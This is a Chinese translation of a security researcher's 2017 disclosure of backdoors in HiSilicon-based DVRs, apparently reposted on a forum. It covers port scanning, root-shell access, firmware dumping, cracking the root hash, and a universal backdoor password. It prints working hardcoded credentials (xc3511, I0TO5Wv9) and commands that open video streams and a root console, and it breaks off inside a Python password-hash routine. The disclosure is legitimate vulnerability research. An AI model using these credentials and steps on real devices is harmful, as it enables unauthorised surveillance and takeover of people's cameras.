翻译文章,原文链接:

https://github.com/mcw0/pwn-hisilicon-dvr/blob/master/README.adoc#defeating-aslr

前言

该报告披露了使用HiSilicon hi3520d和片上系统(SOC)构建的DVR/NVR设备的严重漏洞(具有POC代码)。利用漏洞会导致仅使用Web界面的未经授权的远程代码执行(RCE),导致被攻击设备的完全接管。由于缺乏升级固件,不建议使用这些设备。2016年12月之前已与供应商联系,但仍未得到回复。披露日期为2017年2月。
几年前我在eBay上购买了廉价的中文DVR设备。该设备的启动徽标显示:“SECULINK - 安全监控”。作为IT安全爱好者,我决定仔细查看该设备,了解安全监控服务的“安全性”。通过谷歌搜索这个话题,我发现了一些有趣的材料,但是深入挖掘,发现了关于该设备更有趣、更严重的问题( 0days)。

探索DVR

首先我们应该学习官方用户界面,然后深入挖掘,或者尝试获取固件。固件增加了发现漏洞的机会。

简单概括DVR

用于测试的DVR设备被标记为“Seculink”。

可用的物理接口:

  • 2个USB端口(鼠标可用于控制GUI控制台),

  • 用于连接外接显示器的HDMI端口和VGA(用于GUI和摄像头视图),

  • 用于模拟闭路电视摄像机的4个BNC连接器,

  • 内部的SATA端口用于连接存储以记录视频流,

  • 用于网络访问的以太网端口

官方用户界面:

  • 使用HDMI(或VGA)作为输出直接访问,使用USB鼠标/键盘输入摄像机视图/控制/完全设置,

  • 通过HTTP进行网络访问以进行摄像机查看/控制
    可直接访问的设置界面受用户身份验证(用户名,密码)的限制。默认超级用户为“admin”,默认密码为空。
    在设置强密码之后,用户可能感到安全,其他人无法访问他/她的相机视图。人们经常将DVR设备的Web端口(tcp / 80)从其安全LAN转发到WAN侧,以便从外部访问DVR流(我们可以通过合适的Shodan搜索来检查这一点;)。
    ## 获得固件
    获取固件的方法可能有很多:

  • 通过一些软方法(使用官方接口或利用某种漏洞)从设备中获取它,
  • 通过一些硬方法(JTAG,串行控制台等)从设备中获取它,
  • 从互联网上查找并下载(如果可用)。
    虽然后一种方法在这里是可行的,也是最简单的,但是让我们来试试第一种,因为它也提供了关于设备的其他信息。
    ## 服务扫描
    让我们在DVR上进行全端口扫描。请注意,(默认情况下,如果由root运行)SYN扫描非常慢,因为数据包丢失,但完整的TCP连接扫描将在几分钟后完成。
    # Nmap 7.40 scan initiated Sun Sep  3 01:57:47 2017 as: nmap -v -sV -sT -p- -oA nmap_full 192.168.88.127
    Nmap scan report for dvr.lan (192.168.88.127)
    Host is up (0.028s latency).
    Not shown: 65529 closed ports
    PORT      STATE SERVICE       VERSION
    23/tcp    open  telnet        BusyBox telnetd
    80/tcp    open  http          uc-httpd 1.0.0
    554/tcp   open  rtsp          LuxVision or Vacron DVR rtspd
    9527/tcp  open  unknown
    34567/tcp open  dhanalakshmi?
    34599/tcp open  unknown
    MAC Address: 00:12:12:15:B3:E7 (Plus )
    Service Info: Host: LocalHost; Device: webcam
    # Nmap done at Sun Sep  3 02:00:42 2017 -- 1 IP address (1 host up) scanned in 174.79 seconds
    总结和手动测试:
  • 23 / tcp是一个telnet登录界面,受一些用户名+密码(不是应用程序凭据)的保护
  • 80 / tcp是受应用程序凭据保护的Web界面
  • 554 / tcp是一个rtsp服务; 它可以通过一个公共rtsp url打开:
    rtsp://192.168.88.127:554/user=admin&password=&channel=1&stream=0.sdp
    请注意,打开rtsp流也需要凭据。
  • 9527 / tcp似乎是一个秘密服务端口,具有一些非常有趣的功能,
  • 34567 / tcp和34599 / tcp似乎是与DVR应用程序相关的一些数据端口。

在这里,我们应该声明该设备可能是一些类似Linux的系统。
通过raw netcat连接到9527 / tcp显示应用程序控制台的日志消息和登录提示。使用任何已定义的应用程序凭据登录都有效。help在提示符后发出,给出了控制台命令的简短描述。命令 shell似乎是最有趣的。是的,它为设备提供了root shell。;)
请注意,这显然是一个严重的安全问题,因为任何(低权限)应用程序用户都不应自动获取设备上的root shell。

root shell

在root shell中探索设备(例如,通过dmesg)可以明显看出DVR运行的是Linux内核(版本3.0.8),它有一个ARMv7 CPU,SoC模型是hi3520d
从正在运行的进程列表中(ps)可以清楚地看到,DVR应用程序/var/Sofia正在侦听34568 / udp和34569 / udp以及nmap(netstat -nlup)检测到的上述tcp端口。
从已装入的磁盘列表(mount命令)中,可以清楚地看到固件映像在/dev/mtdblockX设备中(其中X = 0,1,2,3,4,5)。
固件很小,因此受到限制,因此如果我们想要将文件复制到设备或从设备复制文件,我们应该换个思维方式。幸运的是支持NFS,所以在我们的台式机上安装一台NFS服务器,并从DVR安装它,可以解决问题:

mount -t nfs 192.168.88.100:/nfs /home -o nolock

现在获得固件很简单:

cat /dev/mtdblock1 > /home/mtdblock1-root.img
cat /dev/mtdblock2 > /home/mtdblock2-usr.img
cat /dev/mtdblock3 > /home/mtdblock3-custom.img
cat /dev/mtdblock4 > /home/mtdblock4-logo.img
cat /dev/mtdblock5 > /home/mtdblock5-mtd.img

我们可能会获取文件(不仅仅是原始图像):

cp / var / Sofia / home /
tar -cf /home/fs.tar / bin / boot / etc / lib / linuxrc / mnt / opt / root / sbin / share / slv / usr / var

telnet接口

要通过telnet接口(端口23 / tcp)访问设备,我们可能需要一些操作系统凭据。看看/etc/passwd,我们获取root用户的密码hash值:

root:absxcfbgXtb3o:0:0:root:/:/bin/sh

请注意,除root之外没有其他用户,所有内容都以完全权限运行。(因此如果有人以某种方式入侵设备,没有阻拦,攻击者立即获得全部权限。)
假设一个六个字符的小写字母数字密码,hashcat会快速破解上述弱DES hash:

$ ./hashcat64.bin -a3 -m1500 absxcfbgXtb3o -1 ?l?d ?1?1?1?1?1?1
absxcfbgXtb3o:xc3511
Session..........: hashcat
Status...........: Cracked
Hash.Type........: descrypt, DES (Unix), Traditional DES
Hash.Target......: absxcfbgXtb3o
Time.Started.....: Sun Sep  3 03:25:07 2017 (2 mins, 29 secs)
Time.Estimated...: Sun Sep  3 03:27:36 2017 (0 secs)
Guess.Mask.......: ?1?1?1?1?1?1 [6]
Guess.Charset....: -1 ?l?d, -2 Undefined, -3 Undefined, -4 Undefined
Guess.Queue......: 1/1 (100.00%)
Speed.Dev.#1.....:   815.9 kH/s (203.13ms)
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 121360384/2176782336 (5.58%)
Rejected.........: 0/121360384 (0.00%)
Restore.Point....: 93440/1679616 (5.56%)
Candidates.#1....: sa8711 -> h86ani
HWMon.Dev.#1.....: N/A
Started: Sun Sep  3 03:25:04 2017
Stopped: Sun Sep  3 03:27:38 2017

因此通过端口23 / tcp上的telnet接口登录用户root和密码xc3511是可能的。这个硬编码的root帐户可以在不可关闭的telnet接口上访问,这显然是一个后门。
在我们的研究之前,几乎其他任何人都可以获得这些结果,但以下是全新的。

固件逆向

探索固件后发现,二进制文件/var/Sofia是实现除视频处理之外的所有接口的主要应用程序。所以这个二进制文件对我们来说似乎是最值得关注的。
不幸的是,它(作为静态链接)被剥离,这使得静态分析变得更难:

`$ file Sofia
Sofia: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, stripped, with debug_info`

因此,除静态分析(使用radare2或IDA)外,动态分析应该非常有用。

远程gdb

对于动态分析,将GDB链接到远程/var/Sofia应用程序应该是有利的。推荐的方法是在远程设备上运行(和连接) gdbserver,并从本地机器将gdb连接到它。
当然,我们需要为适当的ARM体系结构编译一个gdbserver(最好是静态的)。为了构建它,我们可以使用 Clibc,它是嵌入式系统(比如我们的DVR)推荐的C库。可用的构建是动态构建,在我们的DVR上是有问题的,所以我们应该自己定制静态构建。有一个很好的构建环境叫做Buildroot,它可以让构建开箱即用(使用make menuconfig选择所需的应用程序(例如gdb ),不要忘记选择静态库,然后运行make )。
经过短暂的构建(约10 - 15分钟),所有必要的工具都应该可用。静态二进制文件可以通过前面提到的NFS方法传输到设备。请注意,变量/var 的目录包含Sofia二进制文件是ramfs,因此它不会在重新启动时保持不变。如果我们想要永久地传输二进制文件,那么/mnt/mtd包含配置文件的rw分区应该是合适的目标。如果你也构建了openssh包,scp将可用,这使得文件传输更加容易。
现在固件已经准备好进行一些逆向。远程连接gdbserver现在工作正常( 使用ps获取Sofia进程的PID是很容易的 ) :

`$ /mnt/mtd/gdbserver --attach :2000 610`

从本地机器连接:

$ gdb -ex 'set gnutarget elf32-littlearm' -ex 'target remote 192.168.88.127:2000'

请注意,建议使用一些GDB扩展(如 GEF)。如果由于某种原因暂停应用程序不起作用(使用Cc),则向Sofia进程发送TRAP信号(通过 kill -TRAP 610)应该会暂停它。

检查认证程序

静态分析的推荐工具显然是Hex-Ray的 IDA Pro。不幸的是,它不便宜,但比任何其他工具都好。
初始自动分析后有15.000多个函数,但找到auth函数只是IDA的一个瞬间(使用简单的Python脚本)。下面的 IDAPython代码片段搜索引用与“Users” 和 “Password” 相关的任何内容的所有函数(同时):

x1, x2 = set(), set()
for loc, name in Names():
  if "Users" in name:
    for addr in XrefsTo(loc):
      x1.add(GetFunctionName(addr.frm))
  elif "Password" in name:
    for addr in XrefsTo(loc):
      x2.add(GetFunctionName(addr.frm))
print x1 & x2

结果只有一个功能:sub_2D857C。对该功能的快速分析确认了这应该是身份验证功能。
对明文密码和硬编码字符串进行初始检查(从配置中获取用户的密码哈希值之前)。如果通过,则授予身份验证。这是应用程序中的恶意后门。通用密码是:I0TO5Wv9
使用此密码,我们可以以任何用户(例如管理员)访问应用程序中的任何内容。例如,获取视频流:
$ cvlc'rtsp://192.168.88.127:554 / user = admin&password = I0TO5Wv9&channel = 1&stream = 0.sdp'
或者在应用程序控制台(9527 / tcp)上获得root shell也可以:

$ nc 192.168.88.127 9527
nc: using stream socket
username:admin
password:I0TO5Wv9
login(admin, ******, Console, address:)
admin$

认证算法还有一个有趣的结果:在某些情况下,认证函数不仅接受密码,还接受散列。不仅可以通过密码而且可以通过hash(存储在/ mnt / mtd / Config / Account1中)打开rtsp视频流。例如,tlJwpbo6是空密码的hash值(参见下一节),因此

cvlc 'rtsp://192.168.88.127:554/user=admin&password=&channel=1&stream=0.sdp'
cvlc 'rtsp://192.168.88.127:554/user=admin&password=tlJwpbo6&channel=1&stream=0.sdp'

同样有效。

密码散列函数

auth函数(更深层)静态分析的另一个结果:密码散列函数是sub_3DD5E4。它基本上是带有一些奇怪转换的MD5。逆向并在Python中实现:

import hashlib
def sofia_hash(msg):
    h = ""
    m = hashlib.md5()
    m.update(msg)
    msg_md5 = m.digest()
    for i in range(8):
        n = (ord(msg_md5[2*i]) + ord(msg_md5[2*i+1])) % 0x3e
        if n > 9:
            if n > 35:
                n += 61
            else:
                n += 55
        else:
            n += 0x30
点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖